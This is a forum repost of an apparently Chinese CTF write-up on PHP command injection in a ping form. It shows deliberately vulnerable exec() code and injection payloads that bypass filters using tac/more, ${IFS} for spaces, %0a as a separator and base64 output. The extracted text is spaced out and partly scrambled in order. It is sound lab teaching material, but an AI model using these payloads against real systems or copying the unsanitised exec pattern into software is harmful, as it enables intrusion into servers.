搜索

[21103] 2020-06-24_RCE命令注入-过滤CAT

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-06-24_RCE命令注入-过滤CAT R C E 命 令 注 入 - 过 滤 C A T L e m o n S e c   2 0 2 0 - 0 6 - 2 4 C T F 实 验 吧 环 境 1 . 命 令 注 入 命 令 注 入 根 据 第 五 行 代 码 ， 这 里 直 接 拼 接 就 行 看 到 有 一 个 p h p 文 件 ， 8 0 6 1 0 9 8 4 1 8 3 2 8 . p h p ， 直 接 用 c a t ， 但 是 没 有 显 示 ， 右 键 查 看 网 页 源 代 码 得 到 F L A G 或 者 考 虑 到 有 特 殊 字 符 ， 无 法 回 显 ， 使 用 b a s e 6 4 编 码 ， 拿 到 f l a g 。 这 里 用 到 了 管 道 符 | ， 表 示 把 上 一 条 命 令 的 输 出 作 为 下 一 条 命 令 的 输 入 。 b a s e 6 4 编 码 绕 过 编 码 绕 过 c a t 过 滤 过 滤 2 、 过 滤 、 过 滤 C A T 思 路 ： 代 替 思 路 ： 代 替 c a t c a t   由 第 一 行 开 始 显 示 内 容 ， 并 将 所 有 内 容 输 出 t a c   从 最 后 一 行 倒 序 显 示 内 容 ， 并 将 所 有 内 容 输 出 m o r e   根 据 窗 口 大 小 ， 一 页 一 页 的 现 实 文 件 内 容 l e s s   和 m o r e 类 似 ， 但 其 优 点 可 以 往 前 翻 页 ， 而 且 进 行 可 以 搜 索 字 符 h e a d   只 显 示 头 几 行 t a i l   只 显 示 最 后 几 行 / /   关 键 代 码 < ? p h p $ r e s   =   F A L S E ; i f   ( i s s e t ( $ _ G E T [ ' i p ' ] )   & &   $ _ G E T [ ' i p ' ] )   { / /   传 入 i p ，         $ c m d   =   " p i n g   - c   4   { $ _ G E T [ ' i p ' ] } " ; / /   运 行 命 令 ， 可 以 拼 接         e x e c ( $ c m d ,   $ r e s ) ; / /   执 行 c m d ， 把 结 果 输 出 到 r e s } i f   ( $ r e s )   {         p r i n t _ r ( $ r e s ) ; / /   打 印 结 果 } s h o w _ s o u r c e ( _ _ F I L E _ _ ) ; ? >
n l   类 似 于 c a t   - n ， 显 示 时 输 出 行 号 t a i l f   类 似 于 t a i l   - f 没 有 回 显 ， 查 看 网 页 源 代 码 ， 或 者 b a s e 6 4 输 出 解 码 。 3 、 过 滤 空 格 、 过 滤 空 格 < ? p h p $ r e s   =   F A L S E ; i f   ( i s s e t ( $ _ G E T [ ' i p ' ] )   & &   $ _ G E T [ ' i p ' ] )   {
思 路 ： 代 替 空 格 使 用 、 来 代 替 空 格 ( , 我 用 的 几 个 只 有 成 功 了 ） 4 、 过 滤 目 录 分 隔 符 、 过 滤 目 录 分 隔 符 直 接 祭 出 p o c 5 、 过 滤 运 算 符 、 过 滤 运 算 符 这 个 题 感 觉 有 个 漏 洞 就 是 直 接 查 看 网 页 源 代 码 就 看 到 f l a g 了 正 常 的 思 路 应 该 是 b a s e 6 4 输 出 出 来 过 滤 了 管 道 符         $ i p   =   $ _ G E T [ ' i p ' ] ;         $ m   =   [ ] ;         i f   ( ! p r e g _ m a t c h _ a l l ( " /   / " ,   $ i p ,   $ m ) )   {                 $ c m d   =   " p i n g   - c   4   { $ i p } " ;                 e x e c ( $ c m d ,   $ r e s ) ;         }   e l s e   {                 $ r e s   =   $ m ;         } } ? > I F S $ 9 、 % 0 9 、 < 、 > 、 < > 、 { , } 、 % 2 0 、 $ { I F S } $ { I F S } 1 2 7 . 0 . 0 . 1 ; c a t $ { I F S } f l a g _ 6 4 4 0 2 7 3 1 7 2 0 1 3 0 . p h p $ { I F S } < ? p h p $ r e s   =   F A L S E ; i f   ( i s s e t ( $ _ G E T [ ' i p ' ] )   & &   $ _ G E T [ ' i p ' ] )   {         $ i p   =   $ _ G E T [ ' i p ' ] ;         $ m   =   [ ] ;         i f   ( ! p r e g _ m a t c h _ a l l ( " / / / " ,   $ i p ,   $ m ) )   {                 $ c m d   =   " p i n g   - c   4   { $ i p } " ;                 e x e c ( $ c m d ,   $ r e s ) ;         }   e l s e   {                 $ r e s   =   $ m ;         } } ? > 1 2 7 . 0 . 0 . 1 ; c d   f l a g _ i s _ h e r e ; c a t   f l a g _ 5 8 9 8 8 1 8 5 1 9 7 2 9 . p h p   | b a s e 6 4 |
而 f i l e   |   b a s e 6 4 也 可 以 写 成 b a s e 6 4   f i l e 6 、 综 合 过 滤 练 习 、 综 合 过 滤 练 习 思 路 ： 思 路 ： 过 程 中 遇 到 的 问 题 因 为 % 0 a 是 u r l 编 码 ， 所 以 一 定 要 输 在 u r l 中 ， 否 则 % 0 a 会 被 再 次 编 码 如 果 觉 得 文 章 对 你 有 帮 助 ， 请 点 击 右 下 角 “ 在 看 ” 1 2 7 . 0 . 0 . 1 ;   b a s e 6 4   f l a g _ 2 9 7 2 8 1 0 6 1 0 1 9 1 4 5 . p h p < ? p h p $ r e s   =   F A L S E ; i f   ( i s s e t ( $ _ G E T [ ' i p ' ] )   & &   $ _ G E T [ ' i p ' ] )   {         $ i p   =   $ _ G E T [ ' i p ' ] ;         $ m   =   [ ] ;         i f   ( ! p r e g _ m a t c h _ a l l ( " / ( | | & ) / " ,   $ i p ,   $ m ) )   {                 $ c m d   =   " p i n g   - c   4   { $ i p } " ;                 e x e c ( $ c m d ,   $ r e s ) ;         }   e l s e   {                 $ r e s   =   $ m ;         } } ? > 过 滤 了 | , & , ; ,   , / , c a t , f l a g , c t f h u b 空 格 可 以 用 $ { I F S } c a t 可 以 用 m o r e f l a g 可 以 用 正 则 f * * * c t f h u b 应 该 用 不 到 查 了 一 下 ， 在 l i n u x 下 ， 命 令 分 隔 符 除 了 ; 还 有 % 0 a 有 了 ； 就 可 以 不 用 运 算 符 了 然 后 按 着 之 前 的 思 路 去 做 就 可 以 了 查 看 目 录   1 2 7 . 0 . 0 . 1 % 0 a c d $ { I F S } f * * * _ i s _ h e r e $ { I F S } % 0 a l s 查 看 文 件 内 容 （ 谷 歌 浏 览 器 右 键 查 看 网 页 源 代 码 得 到 f l a g ） 1 2 7 . 0 . 0 . 1 % 0 a c d $ { I F S } f * * * _ i s _ h e r e $ { I F S } % 0 a m o r e $ { I F S } f * * * _ 3 1 3 2 7 1 3 3 8 6 2 1 2 4 5 . p h p b a s e 6 4 输 出 f l a g   1 2 7 . 0 . 0 . 1 % 0 a c d $ { I F S } f * * * _ i s _ h e r e $ { I F S } % 0 a b a s e 6 4 $ { I F S } f * * * _ 3 1 3 2 7 1 3 3 8 6 2 1 2 4 5 . p h p < ? p h p $ r e s   =   F A L S E ; i f   ( i s s e t ( $ _ G E T [ ' i p ' ] )   & &   $ _ G E T [ ' i p ' ] )   {         $ i p   =   $ _ G E T [ ' i p ' ] ;         $ m   =   [ ] ;         i f   ( ! p r e g _ m a t c h _ a l l ( " / ( | | & | ; |   | / | c a t | f l a g | c t f h u b ) / " ,   $ i p ,   $ m ) )   {                 $ c m d   =   " p i n g   - c   4   { $ i p } " ;                 e x e c ( $ c m d ,   $ r e s ) ;         }   e l s e   {                 $ r e s   =   $ m ;         } } ? > 文 章 转 载 自   C S D N   作 者 ： 那 酒 不 要 留 连 接 ： h t t p s : / / b l o g . c s d n . n e t / s z g y u n y u n / a r t i c l e / d e t a i l s / 1 0 4 9 7 0 1 1 8 ? u t m _ m e d i u m = d i s t r i b u t e . p c _ r e l e v a n t . n o n e - t a s k - b l o g - B l o g C o m m e n d F r o m M a c h i n e L e a r n P a i 2 - 8 . n o n e c a s e & d e p t h _ 1 - u t m _ s o u r c e = d i s t r i b u t e . p c _ r e l e v a n t . n o n e - t a s k - b l o g - B l o g C o m m e n d F r o m M a c h i n e L e a r n P a i 2 - 8 . n o n e c a s e

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理